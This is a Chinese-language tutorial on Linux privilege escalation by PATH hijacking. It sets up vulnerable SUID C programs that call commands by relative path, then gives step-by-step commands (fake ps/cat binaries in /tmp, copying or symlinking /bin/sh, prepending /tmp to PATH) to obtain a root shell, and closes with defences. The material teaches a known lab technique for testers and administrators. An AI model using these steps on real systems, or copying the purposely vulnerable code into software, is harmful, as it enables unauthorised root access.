Linux环境变量提权
字数 1030 2025-08-29 08:32:30
Linux环境变量提权技术详解
环境变量PATH基础
$PATH是Linux系统中的环境变量,用于指定可执行程序的搜索路径。当用户在终端运行命令时,系统会在$PATH列出的目录中查找对应的可执行文件。
查看当前用户的PATH设置:
echo $PATH
典型输出:
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
关键点:PATH中的.表示当前目录,这可能导致安全风险,因为攻击者可以在当前目录放置恶意程序来劫持合法命令。
提权原理
当具有SUID权限的程序调用系统命令时,如果:
- 程序使用相对路径调用命令(如直接调用
ps而非/bin/ps) - 攻击者可以控制PATH环境变量
- 攻击者可以在PATH优先搜索的目录中放置恶意程序
则攻击者可以劫持命令执行,实现权限提升。
实验环境搭建
方法1:调用ps命令的示例
- 创建测试目录和程序:
mkdir script
cd script
nano demo.c
demo.c内容:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
- 编译并设置SUID权限:
gcc demo.c -o shell
chmod u+s shell
ls -la shell # 确认SUID权限设置成功
方法2:调用id命令的示例
- 创建程序:
nano test.c
test.c内容:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("id");
}
- 编译并设置权限:
gcc test.c -o shell2
chmod u+s shell2
方法3:调用cat命令读取/etc/passwd
- 创建程序:
nano raj.c
raj.c内容:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
- 编译并设置权限:
gcc raj.c -o raj
chmod u+s raj
方法4:调用cat命令读取不存在的文件
- 创建程序:
nano demo.c
demo.c内容:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /home/raj/msg.txt");
}
- 编译并设置权限:
gcc demo.c -o ignite
chmod u+s ignite
攻击方法
查找SUID程序
首先查找具有SUID权限的程序:
find / -perm -u=s -type f 2>/dev/null
方法1:使用echo创建恶意程序
- 创建恶意ps程序:
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
- 修改PATH环境变量:
echo $PATH
export PATH=/tmp:$PATH
- 执行目标程序:
cd /home/raj/script
./shell
whoami # 确认是否为root
方法2:使用copy命令
- 复制shell到恶意程序:
cd /home/raj/script
cp /bin/sh /tmp/ps
- 修改PATH并执行:
export PATH=/tmp:$PATH
./shell
whoami
方法3:使用符号链接(symlink)
- 创建符号链接:
ln -s /bin/sh ps
- 修改PATH并执行:
export PATH=.:$PATH # 注意当前目录(.)需要可写权限
./shell
id
whoami
方法4:使用文本编辑器创建恶意程序
- 使用nano创建恶意cat程序:
cd /tmp
nano cat
内容输入/bin/bash并保存
- 设置权限并修改PATH:
chmod 777 cat
export PATH=/tmp:$PATH
- 执行目标程序:
cd /home/raj/script
./ignite
whoami
防御措施
-
避免使用相对路径:在程序中始终使用绝对路径调用系统命令
system("/bin/ps"); // 好 system("ps"); // 坏 -
重置环境变量:在特权程序开始时重置环境变量
clearenv(); -
最小权限原则:不要随意给程序设置SUID权限
-
PATH安全配置:避免在PATH中包含当前目录(.),或将其放在最后
-
文件系统权限:确保/tmp等目录不能随意写入可执行文件
总结
通过控制PATH环境变量实现提权的关键在于:
- 找到具有SUID权限且调用系统命令的程序
- 程序使用相对路径调用命令
- 能够在PATH优先搜索的目录中写入恶意程序
- 通过修改PATH使系统优先执行恶意程序而非合法程序
管理员应通过上述防御措施来防止此类攻击,而安全测试人员可以利用这些技术来评估系统安全性。